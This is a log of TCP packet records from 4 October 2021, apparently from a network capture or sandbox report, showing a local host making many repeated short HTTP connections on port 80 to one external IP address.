Oct 4, 2021 16:02:29.404356956 CEST	49997	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.404408932 CEST	49997	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.510006905 CEST	49998	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.561897039 CEST	80	49997	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.603935957 CEST	80	49997	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.628546000 CEST	80	49998	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.628689051 CEST	49998	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.628858089 CEST	49998	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.628926039 CEST	49998	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:29.747286081 CEST	80	49998	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.787235975 CEST	80	49998	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.891360044 CEST	80	49997	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.891381025 CEST	80	49997	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:29.893112898 CEST	49997	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.072439909 CEST	80	49998	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.072709084 CEST	80	49998	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.072846889 CEST	49998	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.188494921 CEST	49999	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.308981895 CEST	80	49999	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.310313940 CEST	49999	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.310342073 CEST	49999	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.310344934 CEST	49999	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.441081047 CEST	80	49999	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.470582008 CEST	80	49999	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.608961105 CEST	50000	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.727830887 CEST	80	50000	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.728394032 CEST	50000	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.728423119 CEST	50000	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.728426933 CEST	50000	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.765002012 CEST	80	49999	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.765136003 CEST	80	49999	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.765850067 CEST	49999	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:30.848547935 CEST	80	50000	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.886197090 CEST	80	50000	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:30.956901073 CEST	50001	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.116663933 CEST	80	50001	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.117269039 CEST	50001	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.117527962 CEST	50001	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.117600918 CEST	50001	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.224364996 CEST	80	50000	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.224412918 CEST	80	50000	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.224679947 CEST	50000	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.274738073 CEST	80	50001	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.313338995 CEST	80	50001	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.440049887 CEST	50002	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.612438917 CEST	80	50001	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.612481117 CEST	80	50001	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.612855911 CEST	50001	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.825803041 CEST	50003	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.945548058 CEST	80	50003	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:31.945796013 CEST	50003	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.946031094 CEST	50003	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:31.946091890 CEST	50003	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:32.063853979 CEST	80	50003	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:32.102744102 CEST	80	50003	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:32.399004936 CEST	80	50003	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:32.399513006 CEST	80	50003	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:32.399993896 CEST	50003	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:32.703241110 CEST	50004	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:32.866065979 CEST	80	50004	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:32.869038105 CEST	50004	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:32.870513916 CEST	50004	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:32.870531082 CEST	50004	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:33.030267000 CEST	80	50004	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:33.072339058 CEST	80	50004	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:33.360032082 CEST	80	50004	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:33.360054970 CEST	80	50004	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:33.360114098 CEST	50004	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:33.525504112 CEST	50005	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:33.642064095 CEST	80	50005	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:33.642287970 CEST	50005	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:33.642579079 CEST	50005	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:33.642662048 CEST	50005	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:33.757348061 CEST	80	50005	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:33.796986103 CEST	80	50005	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.127849102 CEST	80	50005	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.127872944 CEST	80	50005	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.127989054 CEST	50005	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.308696032 CEST	50006	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.441050053 CEST	50002	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.465383053 CEST	80	50006	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.465548038 CEST	50006	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.465809107 CEST	50006	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.465892076 CEST	50006	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.600960970 CEST	80	50002	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.601142883 CEST	50002	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.601382971 CEST	50002	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.601457119 CEST	50002	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:34.623250961 CEST	80	50006	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.661194086 CEST	80	50006	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.763132095 CEST	80	50002	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:34.800967932 CEST	80	50002	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.002763033 CEST	80	50006	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.002801895 CEST	80	50006	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.003026009 CEST	50006	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.121512890 CEST	80	50002	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.121542931 CEST	80	50002	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.121743917 CEST	50002	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.265163898 CEST	50007	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.426297903 CEST	80	50007	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.426417112 CEST	50007	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.426613092 CEST	50007	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.426700115 CEST	50007	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.462728977 CEST	50008	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.580358028 CEST	80	50008	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.580493927 CEST	50008	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.580688953 CEST	50008	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.580754042 CEST	50008	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:35.586416006 CEST	80	50007	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.625596046 CEST	80	50007	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.699060917 CEST	80	50008	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.740453959 CEST	80	50008	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.916776896 CEST	80	50007	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.916810036 CEST	80	50007	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:35.916917086 CEST	50007	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.042866945 CEST	80	50008	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.042896032 CEST	80	50008	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.043006897 CEST	50008	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.089559078 CEST	50009	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.248626947 CEST	80	50009	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.249526024 CEST	50009	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.249814034 CEST	50009	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.249934912 CEST	50009	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.307504892 CEST	50010	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.407103062 CEST	80	50009	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.422970057 CEST	80	50010	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.423237085 CEST	50010	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.423326969 CEST	50010	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.423438072 CEST	50010	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.447675943 CEST	80	50009	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.538176060 CEST	80	50010	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.579916954 CEST	80	50010	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.784569979 CEST	80	50009	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.784744978 CEST	80	50009	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.784831047 CEST	50009	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.869172096 CEST	80	50010	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.869198084 CEST	80	50010	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:36.869340897 CEST	50010	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:36.993098021 CEST	50011	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.066821098 CEST	50012	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.111198902 CEST	80	50011	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.111375093 CEST	50011	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.111680984 CEST	50011	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.111824036 CEST	50011	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.225152969 CEST	80	50012	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.225368023 CEST	50012	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.225560904 CEST	50012	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.225626945 CEST	50012	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.231151104 CEST	80	50011	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.273144007 CEST	80	50011	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.382280111 CEST	80	50012	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.425277948 CEST	80	50012	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.595218897 CEST	80	50011	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.599160910 CEST	80	50011	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.599385977 CEST	50011	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.767952919 CEST	50013	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.768908024 CEST	80	50012	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.768933058 CEST	80	50012	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.769037008 CEST	50012	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.925522089 CEST	80	50013	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:37.925791025 CEST	50013	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.925945997 CEST	50013	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.926073074 CEST	50013	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:37.991580009 CEST	50014	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.082247972 CEST	80	50013	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.108959913 CEST	80	50014	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.109148979 CEST	50014	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.109404087 CEST	50014	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.109502077 CEST	50014	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.121300936 CEST	80	50013	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.224508047 CEST	80	50014	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.263847113 CEST	80	50014	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.462789059 CEST	80	50013	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.473258018 CEST	80	50013	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.473505974 CEST	50013	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.589324951 CEST	80	50014	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.589360952 CEST	80	50014	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.589586973 CEST	50014	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.716749907 CEST	50016	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.832000017 CEST	80	50016	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.832118034 CEST	50016	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.832303047 CEST	50016	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.832381010 CEST	50016	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.955001116 CEST	80	50016	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:38.959528923 CEST	50017	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:38.991756916 CEST	80	50016	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.077318907 CEST	80	50017	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.077536106 CEST	50017	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.077732086 CEST	50017	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.077826023 CEST	50017	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.196862936 CEST	80	50017	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.235100031 CEST	80	50017	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.568079948 CEST	80	50017	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.576993942 CEST	80	50017	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.578423023 CEST	50017	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.702991009 CEST	80	50016	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.707602978 CEST	80	50016	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.710038900 CEST	50016	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.876396894 CEST	50018	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.995913982 CEST	80	50018	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:39.996308088 CEST	50018	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.996486902 CEST	50018	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:39.996582985 CEST	50018	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.064294100 CEST	50019	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.112360954 CEST	80	50018	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.153747082 CEST	80	50018	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.185283899 CEST	80	50019	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.185580015 CEST	50019	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.186028957 CEST	50019	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.186093092 CEST	50019	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.303458929 CEST	80	50019	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.346123934 CEST	80	50019	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.443396091 CEST	80	50018	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.443454027 CEST	80	50018	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.443564892 CEST	50018	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.633591890 CEST	80	50019	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.633754015 CEST	80	50019	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.633964062 CEST	50019	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.762965918 CEST	50020	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.810786009 CEST	50021	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.919241905 CEST	80	50020	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.919620037 CEST	50020	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.919933081 CEST	50020	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.920074940 CEST	50020	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.925448895 CEST	80	50021	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:40.925559044 CEST	50021	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.925693989 CEST	50021	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:40.925750017 CEST	50021	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.040119886 CEST	80	50021	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.076081991 CEST	80	50020	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.079663038 CEST	80	50021	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.116311073 CEST	80	50020	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.564976931 CEST	80	50021	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.565001965 CEST	80	50021	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.565129995 CEST	50021	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.589224100 CEST	80	50020	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.589243889 CEST	80	50020	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.589392900 CEST	50020	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.794397116 CEST	50022	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.829605103 CEST	50023	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.953567028 CEST	80	50022	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.953982115 CEST	50022	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.954008102 CEST	50022	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.957462072 CEST	50022	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.987576962 CEST	80	50023	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:41.987699986 CEST	50023	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.987916946 CEST	50023	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:41.987996101 CEST	50023	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.110414982 CEST	80	50022	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.143928051 CEST	80	50023	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.153093100 CEST	80	50022	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.184185982 CEST	80	50023	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.488712072 CEST	80	50023	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.489285946 CEST	80	50023	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.489501953 CEST	50023	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.490470886 CEST	80	50022	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.490633965 CEST	80	50022	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.490699053 CEST	50022	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.713223934 CEST	50024	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.726289034 CEST	50025	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.832427025 CEST	80	50024	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.832643986 CEST	50024	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.832994938 CEST	50024	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.833076954 CEST	50024	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.885010004 CEST	80	50025	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.885231018 CEST	50025	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.885447025 CEST	50025	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.885509968 CEST	50025	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:42.952864885 CEST	80	50024	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:42.992697954 CEST	80	50024	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.044322014 CEST	80	50025	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.082412004 CEST	80	50025	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.282977104 CEST	80	50024	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.283010960 CEST	80	50024	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.283202887 CEST	50024	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.385889053 CEST	80	50025	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.386013031 CEST	80	50025	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.386104107 CEST	50025	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.516932011 CEST	50026	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.631664038 CEST	80	50026	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.632029057 CEST	50026	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.632050991 CEST	50026	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.632241011 CEST	50026	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.637654066 CEST	50027	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.747844934 CEST	80	50026	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.787942886 CEST	80	50026	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.797084093 CEST	80	50027	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.797344923 CEST	50027	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.797586918 CEST	50027	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.797672033 CEST	50027	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:43.958348989 CEST	80	50027	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:43.998265982 CEST	80	50027	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.072890043 CEST	80	50026	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.073043108 CEST	80	50026	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.073132992 CEST	50026	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:44.294256926 CEST	80	50027	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.296813965 CEST	80	50027	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.297072887 CEST	50027	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:44.317152023 CEST	50028	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:44.436259985 CEST	80	50028	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.439138889 CEST	50028	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:44.439554930 CEST	50028	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:44.439582109 CEST	50028	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:44.557176113 CEST	80	50028	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.596694946 CEST	80	50028	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.937819958 CEST	80	50028	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.937881947 CEST	80	50028	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:44.938080072 CEST	50028	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:44.957031965 CEST	50029	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.116259098 CEST	80	50029	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.116539001 CEST	50029	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.116906881 CEST	50029	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.117008924 CEST	50029	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.139458895 CEST	50031	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.254211903 CEST	80	50031	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.254537106 CEST	50031	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.254861116 CEST	50031	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.254946947 CEST	50031	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.275892973 CEST	80	50029	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.315375090 CEST	80	50029	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.370157003 CEST	80	50031	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.410742044 CEST	80	50031	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.684062004 CEST	80	50029	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.684283972 CEST	80	50029	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.684391022 CEST	50029	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.710558891 CEST	80	50031	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.710751057 CEST	80	50031	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:45.710841894 CEST	50031	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.917404890 CEST	50032	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:45.928744078 CEST	50033	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.046483040 CEST	80	50033	198.38.82.168	192.168.2.3
Oct 4, 2021 16:02:46.046745062 CEST	50033	80	192.168.2.3	198.38.82.168
Oct 4, 2021 16:02:46.047244072 CEST	50033	80	192.168.2.3	198.38.82.168
